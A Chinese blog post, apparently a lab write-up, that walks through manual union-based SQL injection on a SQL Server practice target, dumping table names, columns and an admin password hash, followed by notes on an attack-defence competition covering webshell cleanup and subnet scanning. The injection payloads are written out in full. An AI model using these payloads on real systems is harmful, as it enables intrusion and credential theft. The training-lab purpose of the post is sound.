Sql_Servere数据库介绍:SQL Server是由Microsoft开发和推广的关系数据库管理系统(DBMS),它最初是由Microsoft、Sybase和Ashton-Tate三家公司共同开发的。
靶场:https://www.mozhe.cn/bug/detail/90
进入靶场来到注入页面老规矩,判断注入
and 1=1 //页面正常
and 1=2 //页面错误
说明存在注入
然后判断列数 order by 4,页面报错说明存在4列
这里有个知识点,Sql_Server和Mysql联合查询的方式不一样,Mysql是 union select 1,2 、Sql_Server是id=2 and 1=2 union all select 1,2,‘3’,4 通过从‘1’到‘4’ 探测回显位,这里的3是字符串类型。因为union 内部的每个select语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每个select语句中的列的顺序必须相同。一开始的3是数字类型,数据库的是字符串类型所以一直失败。
爆库:id=2 and 1=2 union all select 1,db_name(),‘3’,4
爆表:id=2 and 1=2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype=‘u’),‘3’,4
参考
https://www.cnblogs.com/atree/p/SQL-Server-sysobjects.html
https://blog.csdn.net/jackmacro/article/details/6405871
Sysobjects:Sql_Server的每个数据库内都有此系统表,它存放该数据库内创建的所有对象,如约束、默认值、日志、规则、存储过程等,每个对象在表中占一行。以下是此系统表的字段名称和相关说明。
当xtype=‘U’ and status>0代表是用户建立的表,对象名就是表名,对象ID就是表的ID值。
用: select * from misa.dbo.sysobjects where xtype=‘U’ and status>0 就可以列出库misa中所有的用户建立的表名。
爆字段:id=2 and 1=2 union all select 1,(select top 1 col_name(object_id(‘manage’),1) from sysobjects),‘3’,4
object ():数据库中每个对象都有一个唯一的id值,object_id(name)可以根据表对象名称得到表对象的ID,object_id()只能返回用户创建的对像的ID,像以sys开头的表都是系统表所以返回不了的
col_name():可以根据id值得到对像的名称,而且可以返回指定下标的结果.
id=2 and 1=2 union all select 1,(select top 1 col_name(object_id(‘manage’),2) from sysobjects),‘3’,4
id=2 and 1=2 union all select 1,(select top 1 col_name(object_id(‘manage’),3) from sysobjects),‘3’,4
爆字段内容:id=2 and 1=2 union all select 1,(select username from manage),‘3’,4
id=2 and 1=2 union all select 1,(select username from manage),(select password from manage where username in (‘admin_mz’)),4
拿到密码md5解密进入后台
题外话:前几天在准备四川省信息安全与评估比赛,人有点麻了就没怎么学习水博客了,内个比赛主要分为三个阶段,第一阶段对神州数码设备操作的熟悉,第二阶段考察的CMS、CTF(WEB、MISC),第三阶段就AWD分组对抗了,总的来说这次AWD还算简单。
AWD简介:开展的一种人人对抗的竞赛方式,考验参赛者攻防兼备的能力,其主要特点为:强调实战性、实时性、对抗性,综合考量竞赛队的渗透能力和防护能力。
可以训练的地方:https://ctf.bugku.com
由于第一次打AWD拿的第四所以还不是很了解
前期加固
前期加固大约是15分钟,那么你可以通过ip康康自己的web服务、网站,然后再连接自己的服务器看web站点的文件
有网对抗:直接拿D盾扫自己的网站文件,发现shell一句话木马存在就删除,自己有那么别人可能也有,直接形成攻击思路,后台默认密码、第三方插件phpmyadmin、数据库、服务器默认密码(改改改),然后就是审计源码,发现文件上传、包含,会防御的直接防御,不会就野路子删除!然后自己可以渗透一下自己的网站发现可有的exp、nday,一般都是些cms漏洞,网上找直接利用拿下自己的网站,后面攻击别人的。
无网对抗:无网对抗和有网对抗的区别就是不能百度,很鸡肋,所以只能通过手动找一句话木马,相对防御我建议硬删除一些可能存在sql注入以及上传的页面
分组对抗
上面的防御思路其实已经包含攻击了,怎么防御自己的就怎么攻击别人的,这里重点还是找IP,只有找到别人IP才能攻击,康康C段、B段,比如自己192.168.1.1,那么别人192.168.1-255.1-255 都有可能,接着就是攻击拿根目录下flag,写脚本批量提交(这个我不会哈哈哈)最后附上一个awd最后比赛的结果